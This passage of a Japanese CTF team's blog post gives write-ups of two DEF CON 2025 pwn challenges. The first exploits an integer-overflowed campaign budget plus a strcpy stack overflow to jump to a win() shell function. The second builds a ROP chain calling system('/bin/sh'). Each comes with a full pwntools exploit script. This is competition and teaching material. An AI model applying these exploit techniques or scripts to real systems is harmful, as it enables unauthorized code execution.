まず、本問題は pwn ジャンルです。そのため何かしらの脆弱性が存在するはずです。構造体を多用しているバイナリを読み進めていると、スコア登録時にスタックバッファオーバーフローが発生することを見つけました。
void __fastcall add_high_score(Player *pPlayer) { char dest[40]; // [rsp+10h] [rbp-30h] BYREF int i; // [rsp+38h] [rbp-8h] int v3; // [rsp+3Ch] [rbp-4h] if ( pPlayer->dwSomeCount_ShouldBe4_ToBoF_WhenAddHighSore == 4 ) { puts( "\n" "╔═══════════════════════════════════════════════════════════════╗"); puts("║ CONGRATULATIONS, PLATINUM RANK! ║"); puts("║ Your MLM empire has reached the highest tier! ║"); puts( "╚═══════════════════════════════════════════════════════════════╝\n"); printf("Your final score: $%d in %d days\n", pPlayer->dwMoney, pPlayer->dwDay_SeedForNewClients); strcpy(dest, pPlayer->strNameSize128); // ここでBoFが発生 // snip } }
ゲーム起動時に入力するプレイヤー名は最大 127 文字まで入力できます。しかしスコア登録時は char[40]
のローカル変数へ strcpy
関数でコピーしているため、戻りアドレスを書き換えられます。
またチームメンバーが、バイナリは No PIE でありかつ stack canary は存在しないこと、およびバイナリ中に win
関数が存在していることを突き止めてくれました。
int win() { return system("/bin/sh"); }
そのため、プレイヤー名に win
関数のアドレスを含めておいて、スコア登録時にリターンアドレスを win
関数のアドレスへ改ざんしてやると、シェルを起動できて任意コードを実行できます。
さて、前述した通り、スコア登録処理へ進むためには所持金を 50000 以上にする必要があります。 Campaign による利益が得られないため、正攻法ではまず達成不可能です。試行錯誤していると次のことに気付きました。
- Campaign には予算パラメーターが存在します。どうやら
int32_t
型で管理されているようです。 - Campaign の新規作成時は「予算は、 0 以上、現在所持金以下であること」を検証しています。しかし作成済みの Campaign の予算を変更する際は、負の値も設定できます。
- 試すと、「予算を -21 億に設定」した後は「予算を +21 億に設定」が成功します。おそらくどこかで整数オーバーフローが発生しているのだと思います。
- 予算が +21 億に設定された Campaign が存在する状況で日を進めると、大金を取得できてスコア登録に進めます。
最終的に上記判明事項をソルバーとして実装、提出することで正解できました。なお実装途中は正攻法でスコアを増やそうとしていたため、最終的には不要になった操作も含まれます。
#!/usr/bin/env python3 from pwn import * context.log_level = "CRITICAL" context.arch = "amd64" addr_win = 0x4015EA player_name = b"A" * (40 + 4 + 4 + 8) + pack(addr_win) # player_name = b"player_name" * 32 HOST = os.environ.get("HOST", "localhost") PORT = 31337 io = remote(HOST, int(PORT)) DUMP = 0 def CLEAN_AND_PRINT(received: bytes): # received += io.clean(timeout=0) if DUMP: print(received.decode()) def SEND_LINE_AFTER(delim: bytes, data: bytes): received = io.recvuntil(delim) CLEAN_AND_PRINT(received) io.sendline(data) def RECV_LINE_CONTAINS(items: bytes): received = io.recvline_contains(items) CLEAN_AND_PRINT(received) return received def RECV_LINE() -> bytes: received = io.recvline() if DUMP: print(received.decode()) return received SEND_LINE_AFTER(b"Enter your name:", player_name) # 最高のregionを確認 SEND_LINE_AFTER(b"Choice: ", b"9") SEND_LINE_AFTER(b"Enter debug password:", b"mlm_debug_2025") SEND_LINE_AFTER(b"Choice: ", b"1") RECV_LINE_CONTAINS(b"----------|-----------|-----------") def get_best_region_index() -> int: l = [] for i in range(5): line = RECV_LINE().decode() line_splitted = line.split("|") # print(f"{line = }") assert len(line_splitted) == 3 name = line_splitted[0] risk = float(line_splitted[1]) reward = float(line_splitted[2]) l.append((i, risk, reward)) l.sort(key=lambda t: t[2], reverse=True) return l[0][0] + 1 # 1-indexed best_region_index = get_best_region_index() print(f"{best_region_index = }") # Product購入 SEND_LINE_AFTER(b"Choice: ", b"C") RECV_LINE_CONTAINS( "╚═══════════════════════════════════════════════════════════════╝".encode() ) def buy_best_product(): l = [] for i in range(6): RECV_LINE() item = RECV_LINE().decode() RECV_LINE() RECV_LINE() cost = int(item.split("Cost: $")[1].split()[0]) suggested_prices = int(item.split("Suggested Sale Price: $")[1].split()[0]) risk_factor = int(item.split("Risk Factor: ")[1]) l.append((i, cost - suggested_prices, risk_factor)) m = min(*l, key=lambda item: (item[1], item[2])) best_index = m[0] SEND_LINE_AFTER( b"Would you like to acquire a product for your MLM? (1-6, 0 to cancel):", str(best_index + 1).encode(), ) buy_best_product() # Agent雇い SEND_LINE_AFTER(b"Choice: ", b"D") SEND_LINE_AFTER(b"Choice: ", b"H") SEND_LINE_AFTER(b"Enter agent name:", b"awasome person") SEND_LINE_AFTER(b"Choice: ", b"X") # 残高確認 line = RECV_LINE_CONTAINS(b"| MONEY: $").decode() money = int(line.split("| MONEY: $")[1].split(" ")[0]) print(f"{money = }") # Campiagn SEND_LINE_AFTER(b"Choice: ", b"A") SEND_LINE_AFTER(b"Choice: ", b"C") SEND_LINE_AFTER(b"Enter campaign name:", b"excellent miracle campaign") SEND_LINE_AFTER(b"Enter campaign budget:", str(money).encode()) SEND_LINE_AFTER(b"Region:", str(best_region_index).encode()) SEND_LINE_AFTER(b"Choice: ", b"1") # 最後に勝ったものがいいはず SEND_LINE_AFTER(b"Agent ID: ", b"1") # 最後に勝ったものがいいはず SEND_LINE_AFTER(b"Keyword 1:", b"AwesomeFantastic") SEND_LINE_AFTER(b"Keyword 2:", b"AwesomeFantastic") SEND_LINE_AFTER(b"Keyword 3:", b"AwesomeFantastic") SEND_LINE_AFTER(b"Keyword 4:", b"AwesomeFantastic") SEND_LINE_AFTER(b"Keyword 5:", b"AwesomeFantastic") # 予算をオーバーフローさせたい SEND_LINE_AFTER(b"Choice: ", b"E") SEND_LINE_AFTER(b"Which campaign would you like to edit? (0 to cancel):", b"1") SEND_LINE_AFTER(b"Edit campaign budget", b"-2100000000") SEND_LINE_AFTER(b"Would you like to change the agent?", b"n") SEND_LINE_AFTER(b"Would you like to change the product?", b"n") SEND_LINE_AFTER(b"Choice: ", b"E") SEND_LINE_AFTER(b"Which campaign would you like to edit? (0 to cancel):", b"1") SEND_LINE_AFTER(b"Edit campaign budget", b"2100000000") SEND_LINE_AFTER(b"Would you like to change the agent?", b"n") SEND_LINE_AFTER(b"Would you like to change the product?", b"n") SEND_LINE_AFTER(b"Choice: ", b"X") # 次の日 SEND_LINE_AFTER(b"Choice: ", b"N") # シェルが取れているのでsubmitter起動 SEND_LINE_AFTER( b"You've mastered the art of Multi-Level Model Marketing!", b"./submitter" ) io.interactive("")
LiveCTF 6: No F In the Stack (pwn)
本問題は次の形式です。
- pwn ジャンルであるため、任意コード実行を通じて
./submitter
プログラムを実行する必要があります。 - amd64 ELF バイナリがリモート環境で動作します。バイナリ内容は次のように非常に単純な内容です。
int __fastcall main() { char printed_addr[16]; // [rsp+20h] [rbp-40h] BYREF uintptr_t addr; // [rsp+38h] [rbp-28h] BYREF uintptr_t stack[3]; // [rsp+40h] [rbp-20h] BYREF int i; // [rsp+5Ch] [rbp-4h] init(); // stdout, stderrのバッファリング無効化 for ( i = 0; i <= 999; ++i ) { printf("Addr pls: "); addr = 0; _isoc23_scanf("%lu", &addr); if ( !addr ) break; memset(printed_addr, 0, sizeof(printed_addr)); sprintf(printed_addr, "%lu", addr); _isoc23_sscanf(printed_addr, "%lx", &stack[i]); // BoF if ( !stack[i] ) break; } return 0; }
すなわちスタックの一定範囲までを、 16 進数表記で 0 ~ 9 のみである任意の値へ設定できます。例えば 0x401917
という値へ設定できます。
バイナリは No PIE であり、かつ main
関数には stack canary が存在しないため、戻りアドレスを変更して ROP できます。また glibc が static link されているため、多様な ROP ガジェットが存在します。
チームメンバーと、使用可能な ROP ガジェットの洗い出しや、シェル起動までの道筋を議論していきました。最終的にチームメンバーが、 0x4A04F9
にある /bin/sh
のアドレスを複数回の加算で作り出す方法でシェル起動に成功しました。提出したソルバーです(提出内容からコメントを編集しています)。
#!/usr/bin/env python3 from pwn import * HOST = os.environ.get('HOST', 'localhost') PORT = 31337 io = remote(HOST, int(PORT)) def set_value(value: int): io.sendlineafter(b"Addr pls: ", str(value).encode()) value_list = [ 42, # stack[0]、未使用 42, # stack[1]、未使用 42, # stack[2]、未使用 3_0000_0000, # i 42, # saved rbp、未使用 # 以降ROP内容 402218, #pop rdi ; pop rbp ; ret 400900, #rdi用 401917, #rbp用、未使用 426497, #rol bl, 1 ; mov rax, rdi ; ret # ここでraxは0x400900を指す。そのアドレスは読み込み可能で、かつ内容は0。後の add eax, dword ptr [rax] がnopになる。 402218, #pop rdi ; pop rbp ; ret 490499, # rdi用 42, #rbp用、未使用 402216, #pop rsi ; pop r15 ; pop rbp ; ret 10000, #rsi用 42, #r15用、未使用 42, #rbp用、未使用 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret # 現時点でrdiは4A0499 402216, #pop rsi ; pop r15 ; pop rbp ; ret 10, #rsi用 42, #r15用、未使用 42, #rbp用、未使用 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret 493943, #add edi, esi ; add eax, dword ptr [rax] ; ret # 現時点でrdiは4904F9、"/bin/sh"のアドレス 401917, #call system # 401840, # 0x0000000000401840 : ret 0, #main関数のループ打ち切り用 ] for value in value_list: set_value(value) io.sendline(b'ls -al') io.sendline(b'./submitter') io.interactive() io.interactive()
おわりに
最終的に数多くの問題が出題されている状況で、かつ各問題の詳細が分からないため取り組むハードルが高い中、チームメンバーが協力しあって活躍してくれました!また現地会場では対面で相談しながら進められることもあり、効率的かつ楽しく参加できました。取り組まれた皆様お疲れ様でした!
- https://ctftime.org/event/2604↩
- https://x.com/NFLaboratories/status/1889479540378050925↩
- https://team-enu.github.io/↩
- https://blog.nflabs.jp/entry/2023/06/01/132700↩
- https://blog.nflabs.jp/entry/2024/05/10/160000↩
- https://github.com/Nautilus-Institute/quals-2025/↩
- https://github.com/Live-CTF/LiveCTF-DEFCON33↩
- https://www.ntt.com/content/dam/nttcom/hq/jp/business/services/security/security-management/wideangle/pdf/DEFCON_CTF.pdf↩
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef↩
- https://www.youtube.com/live/1AwzEMPeIoU?t=253s↩